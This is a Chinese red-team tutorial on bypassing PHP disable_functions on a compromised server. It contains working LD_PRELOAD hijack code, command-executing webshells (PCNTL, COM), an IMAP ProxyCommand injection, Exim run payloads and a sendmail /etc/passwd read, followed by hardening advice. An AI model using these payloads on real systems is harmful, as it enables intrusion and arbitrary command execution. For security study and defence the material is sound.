作者: Imanfeng@360RedTeam
0x00 前言
在实际渗透一些php站的时候,时常会遇到有了webshell,却无法执行命令的情况,大多数是因为使用 disablefunctions 禁用了命令执行的相关函数。判断某种绕过方法的关联依赖函数是否也被禁用了或者依赖环境是否可用是较麻烦的,本文则主要讲Antsword插件实现的disablefunctions方法及整理的其他公开可利用方式。
0x01 Antsword
自18年8月的 v2.0.0-beta 版本开始,引入了加载器的概念
用户及开发者无需安装额外的环境,只需要下载对应平台的加载器可直接运行当前最新的开发版和发行版
操作系统 | 下载地址 | MD5 |
OSX | AntSword-Loader-v4.0.3-darwin-x64.dmg | ca218a249b049121ba4e568a272ee389 |
Linux 32位 | AntSword-Loader-v4.0.3-linux-ia32.zip | 5e0bebe1c88686e144fae9ddfa82aceb |
Linux 64位 | AntSword-Loader-v4.0.3-linux-x64.zip | ee61d2e3f5ef018add0f147dd60db006 |
Linux armv7l | AntSword-Loader-v4.0.3-linux-armv7l.zip | bff6660f32ad308c1bb146f507825978 |
Linux arm64 | AntSword-Loader-v4.0.3-linux-arm64.zip | 045ecb8cca4f50498530837522c964dc |
Windows 32位 | AntSword-Loader-v4.0.3-win32-ia32.zip | 3e4bff86c5724f77852611c3435aa80b |
Windows 64位 | AntSword-Loader-v4.0.3-win32-x64.zip | 85b80052224061e42f685021f28d1975 |
同版本开始引入了插件的概念,用户可从远程PlugStore安装现成插件或结合自身需求编写插件来扩展蚁剑的功能,如端口扫描、权限提升等一些列后渗透操作
0x02 绕过disable_functions插件
Medicean在4月份基于Antsword插件规则编写了asbypassphpdisablefunctions插件,便于绕过disable_functions的命令执行限制
1.LD_PRELOAD
利用原理
LD_PRELOAD 是Linux的环境变量,它允许你定义在程序运行前优先加载的动态链接库
在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的
mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数
- mail函数在运行时,会启动子进程来调用系统的sendmail
- error_log函数当第二个参数为1时,同样会启动子进程来调用系统的sendmail
- ImageMagick函数调用时,也会调用外部程序去处理指定格式文件
以mail()函数为例,查看sendmail调用的函数
可选择不需传递参数的get型函数进行劫持,通过 man 命令查看getegid()函数的实现
重写 getegid() 函数进行编译
// testcc.c
#include <unistd.h>
#include <sys/types.h>
uid_t getegid(void){
if (getenv("LD_PRELOAD") == NULL){//防止其他函数也被劫持
return 0;
}
unsetenv("LD_PRELOAD");//用完即删
system("whoami > testcc.txt");
return 0;
}
成功劫持getegid()函数执行命令
插件实现
在插件中,该原理脚本如下:
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("a",1);
mail("a@localhost","","","","");
?>
hack.so会调用php开启一个默认配置的PHPServer
并在web目录生成一个.antproxy.php,与新PHPServer建立Socket连接,转发流量到index.php一句话执行命令
成功使用此绕过插件的三个必要条件是:
- mail()函数和error_log()函数所调用的sendmail已安装
- 不限制 /usr/sbin/sendmail 的执行
- mail()函数和error_log()函数有一个未被禁用
那如果目标环境没有sendmail或者禁止调用sendmail的话,该插件方法就无法使用
扩展方法可利用__attribute__ ((__constructor__)),其为GCC的C 语言扩展修饰符。当它出现在共享对象中时,一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,实现对共享库的劫持
// testss.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
使用php尝试执行开启新PHPServer的命令
<?php
$cmd = "php -n -S 127.0.0.1:6666 -t /var/www/html";
putenv("CMD=".$cmd);
$so_path = "/tmp/testss.so";
putenv("LD_PRELOAD=".$so_path);;
error_log("a",1);
?>
执行成功,可直接将流量转发到6666的PHPServer继续命令执行
2.Fastcgi/PHP-FPM
利用原理
Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现
Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量
例如用户访问http://127.0.0.1/hackme.php?test=1,假设web目录为/var/www/html,那么请求会被解析成如下键值对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
其中SCRIPT_FILENAME 用于指定执行的文件,但php-fpm的默认配置中有一个选项:security.limit_extensions 限制了fpm可执行的后缀文件
我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件: PHP_VALUE及PHP_ADMIN_VALUE
PHP_VALUE 可动态修改模式为PHP_INI_USER和PHP_INI_ALL的配置项,但不能设置on/off等布尔值
例如使用如下fastcgi指令,通过设置 auto_prepend_file 来实现运行第一个php代码前加载指定的HACK.php
fastcgi_param PHP_VALUE "auto_prepend_file=/var/html/www/7488/HACK.php";
PHP_ADMIN_VALUE可以设置php.ini的属性值任意配置项且不会被.htaccess和ini_set()函数所覆盖
但无法覆盖disablefunctions,原因是因为在php运行时,已经按照disablefunctions将禁用函数对应的地址从函数hash列表中剔除
构造攻击协议包如下:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input以及allow_url_include = On,实现在执行php文件执行前进行远程文件包含POST内容,从而任意代码执行
插件实现
判断选定的fpm连接方式为Unix Socket还是TCP
紧接着与第一种LD_PRELOAD实现相同,将启动新的PHPServer命令插入代上传的so文件指定字节位置,进行上传
so文件上传成功后,初始化fastcgiclient,构造恶意fastcgi协议连接php-fpm,PHP_VALUE与PHP_ADMIN_VALUE均将extension指向so文件,发送协议后动态加载我们的扩展文件,启动默认配置的PHPServer
最后上传代理脚本,将流量通过index.php转发到新PHPServer,实现绕过disable_function
3.Apache Mod CGI
利用原理
Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP
它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行
在.htaccess文件中可定制用户定义标识头
添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序
此时需要保证.htaccess可以加载进当前web环境
当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效
在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效
配置好cgi文件的环境变量后可通过构造如下脚本来实现命令执行
#! /bin/bash
echo -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500
whoami
插件实现
插件脚本首先判断modcgi是否启用、当前目录是否可写、.htaccess是否可正常使用
备份.htaccess文件并配置好新的.htaccess以及写入cgi脚本文件shell.ant,并赋执行权限
最后启动一个新的终端,将我们输入的命令put进shell.ant对其发起请求,实现命令执行
4.Json Serializer UAF && PHP7 GC with Certain Destructors UAF
利用原理
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令
影响范围是linux,php 7.1-7.3
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
插件实现
两插件首先判断系统版本及php版本是否满足使用条件
启新终端,通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令
两EXP函数通过调用原作者POC实现
https://github.com/mm0r1/exploits
0x03 其他绕过方式
1.IMAP Bypass
imap_open()函数需安装imap扩展,用于打开连接某个邮箱的IMAP流
当启用了rsh和ssh功能并且在debian/ubuntu中会默认调用ssh进行连接
//imap.php
<?php
$payload = "whoami >/tmp/result";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
echo file_get_contents("/tmp/result");
?>
由于未对参数传递进行正确编码,导致ssh建立连接可利用\t代替空格进行-oProxyCommand参数命令拼接,从而调用系统shell执行命令
2.PCNTL Bypass
当php安装并使用pcntl扩展时,可借助其pcntlexec()函数直接执行命令来尝试绕过disablefunctions
通过文件读写来达到命令执行回显
<?php
header("Content-Type: text/plain");
$cmd = "/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd = "/tmp/output.txt";
print_r(file_get_contents($cd));
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}
3.COM Bypass
该利用方式调用windows的COM组件需要在php.ini中开启并添加extension
com.allow_dcom = true
extension = php_com_dotnet.dll
通过COM组件直接调用WScript.shell或Shell.Application执行系统命令
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
4.EXIM Bypass
mail()函数的第五个additional_parameters参数可用于设置命令行选项传递给配置为发送邮件时使用的程序
例如,当将sendmail与-C -X 选项一起使用时,可读取文件并输出到指定文件
<?php
mail("","","",""," -C/etc/passwd -X/tmp/result");
?>
// -C file Use alternate configuration file. Sendmail refuses to run as root if an alternate configuration file is specified.
// -X logfile Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debug-ging mailer bugs. It will log a lot of data very quickly.
当系统使用Exim4来发送邮件时 -be 参数支持运行扩展模式对指定字符串扩展格式进行解析
${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2
${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符
使用run进行命令执行,但空格等特殊字符无法识别
借助其substr函数来截取字符串进行替换特殊字符
如,使用substr{13}{1}{$tod_log} 从第14个字符开始截取一个字符为:
substr{10}{1}{$tod_log}第11个字符即为空格
//From l3m0n
<?php
$c = @$_GET['lemon'];
$result_file = "/tmp/test.txt";
$tmp_file = '/tmp/aaaaaaaaaaa.sh';
$command = $c . '>' . $result_file;
file_put_contents($tmp_file, $command);
$payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";
mail("a@localhost", "", "", "", $payload);
echo file_get_contents($result_file);
@unlink($tmp_file);
@unlink($result_file);
?>
5.FFI Bypass
FFI(Foreign Function Interface)是 PHP7.4 新加入的功能,即外部函数接口,允许从共享库中调用C代码
FFI的使用如下分为声明和调用两个部分
利用ffi来引入libc中的system函数执行命令
0x04 如何防御
- disable_function禁用参考
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
- PHP7使用28 Nov 2019以后版本
- 正确设置open_basedir及目录的可写权限
- 做好上述插件和组件的配置核查
- 使用主机监控和waf对webshell进行检测和敏感操作拦截
参考
https://github.com/AntSwordProject/AntSword-Labs
https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/